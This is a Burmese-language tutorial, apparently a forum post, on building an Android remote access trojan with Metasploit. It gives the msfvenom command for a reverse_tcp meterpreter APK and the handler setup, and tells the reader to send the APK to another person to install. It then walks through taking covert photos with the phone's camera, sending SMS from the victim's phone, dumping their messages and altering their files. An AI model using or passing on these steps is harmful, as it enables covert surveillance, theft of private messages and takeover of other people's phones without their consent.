
 

salam to all 

 

က်ေနာ္ဒီေန႕ျပမွာကေတာ့ (Android Rat) android hack with metasploit ပါပဲ :P 

 

1 metasploit ရိွထားရပါမယ္ 

2 home internet ျဖစ္ရမယ္ သုိ႕မဟုတ္ port forwarding     လုပ္လုိ႕ရတ့ဲ ဟာျဖစ္ရပါမယ္ အစဥ္ေျပမယ္ 
မရရင္ေတာ့ ကုိယ့္Network ထဲမွာ ရိွမွအစဥ္ေျပပါမယ္။ 

 

စမယ္ဆုိေတာ့  

 

အရင္ port forwarding လုပ္ပါ အဲဒါကုိေတာ့ internet Router ေပါမူတည္ျပီး ကြာပါတယ္။ အဲဒါအရင္လုပ္ပါ။ 

 

ျပီးရင္ ကုိယ့္အိုင္ပီကုိတခ်က္ျပန္ၾကည့္ပါ။ window မွာ  cmd မွာ  ipconfig ၾကည့္လုိက္ ဥပမာ 
192.168.121.5  ေပါ့ 

တကယ္လုိ linux မွာဆုိရင္ ေကာမန္႕မွာ ifconfig ဆိုျပီး ရိုက္ၾကည့္လိုက္ပါ။ 

က်ေနာ္ေတာ့ linux မွာသုံးေတာ့ linux န႕ဲပျဲပပါမယ္။ 

 

ျပီးရင္ rat apk တခုျပဳလုပ္ပါမယ္။ 

ေကာ့မန္႕လုိင္းေခါျပီး   msfvenom -p android/meterpreter/reverse_tcp LHOST=192.168.121.5  
LPORT=4444 R > /root/Desktop/n.apk 

ရိုက္လုိက္ပါ။ 

 



 

 

ရိုက္လုိက္တာနဲ႕ ေအာက္ပါအတုိင္းေပါလာမွာပါမယ္။ 

 

 

က ဲrat apk တခုျပဳလုပ္ျပီးပါျပီး  

 



 

 

n.apk ေလးရပါျပီ။ :P 

 

 

ျပီးရင္    metasploit   ဖြင့္  ျပီးရင္ ေအာက္ပါအတုိင္းေကာ့မန္႕ေပးပါ 

 

 

use exploit/multi/handler 

ျပီးရင္ 

set payload android/meterpreter/reverse_tcp 



ျပီးရင္ 

set LHOST 0.0.0.0 ဒီေနရာမွာကုိယ္အုိင္ပီထည့္ 

 

 

 

ျပီးရင္ exploit ကုိရိုက္ 

 

 

ဒီလုိဆုိရပါျပီ :P 

 

Rat apk ကို တျခားသူတေယာက္ကို ခနကလုပ္ထားတ့ဲ n.apk ေလးရွယ္ေပးလုိက္ သူ install လုပ္လုိက္ျပီး 
open လုပ္တာနဲ႕ ရပါျပီ။ 

 

 

 



ရသြားပါျပီ :P ဘာေတြလုပ္လုိ႕ရလဲၾကည့္က်မယ္  အဲဒီေတာ့ က်ေနာ္ေတာ့ အရင္ဆုံး 
ဘယ္ဖုန္းလဲဘာလဲသိခ်င္ေတာ့ sysinfo လုိ႕ရိိုက္လိုက္တယ္။ 

 

 

 

ေနာက္တျခားဘာေတြလုပ္လုိ႕ရလဲဆုိတာ သိခ်င္ရင္ help ဆိုျပီးရိုက္လုိက္ပါ။ :P 

 

ေနာက္စမ္းအုံးမယ္ ဓါတ္ပံုခုိးရိုက္မယ္ 

webcam_list ဆုိျပီးၾကည့္လိုက္ ဖုန္းမွာ camera ဘယ္၂ခုပါလဲေပါ့ 

က်ေနာ္ဟက္ထားတ့ဲဖုန္းက ၂ခုပါတယ္ 

1: Back Camera 

2: Front Camera 

ျပီးရင္ ခိုင္းရုိက္မယ္ webcam_snap 1 

Auto save ျဖစ္သြားပါမယ္ :P  

 



 

 

 

 

ေနာက္ျပီး  sms ပုိ႕ၾကည့္မယ္ :P 

ေကာမန္႕က send_sms  -d  +9592065498 –t  Hallo 

 

နံပါတ္န႕ဲစာကုိယ္ထည့္ခ်င္တာထည့္ပါ။  

 

ရတယ္ ဖုန္းထဲဝင္မဝင္တခ်က္ၾကည့္မယ္ 

 





 



:P 

ေနာက္ျပီး  ဖုန္းထဲမွာ  sms ဘယ္ေလာက္ဝင္ထားလဲသိခ်င္တယ္။ အဲဒီေတာ့ ေကာ္မန္႕ကုိ dump_sms 
ႏိုပ္လုိက္ Auto save ျဖစ္သြားပါမယ္။ 

 

:D sms 146 ေစာင္ရိွတယ္ :P 

ကဲဖြင့္ၾကည့္မယ္  

 

 



 

 

ေနာက္တျခားဖုန္းထဲက ဘယ္ဖိုင္မဆုိဖ်က္လုိ႕ရသလုိ ထည့္လုိ႕လဲရပါတယ္ ေနာက္ျပီးတျခား 
လုပ္ႏိုင္ေတြအမ်ားၾကီးရွိပါတယ္။ 

အားလုံးအဆင္ေျပရင္ ဒိုအာမွာသတိရေပးပါ။ 

 

Salam to All 

 

 

 

 


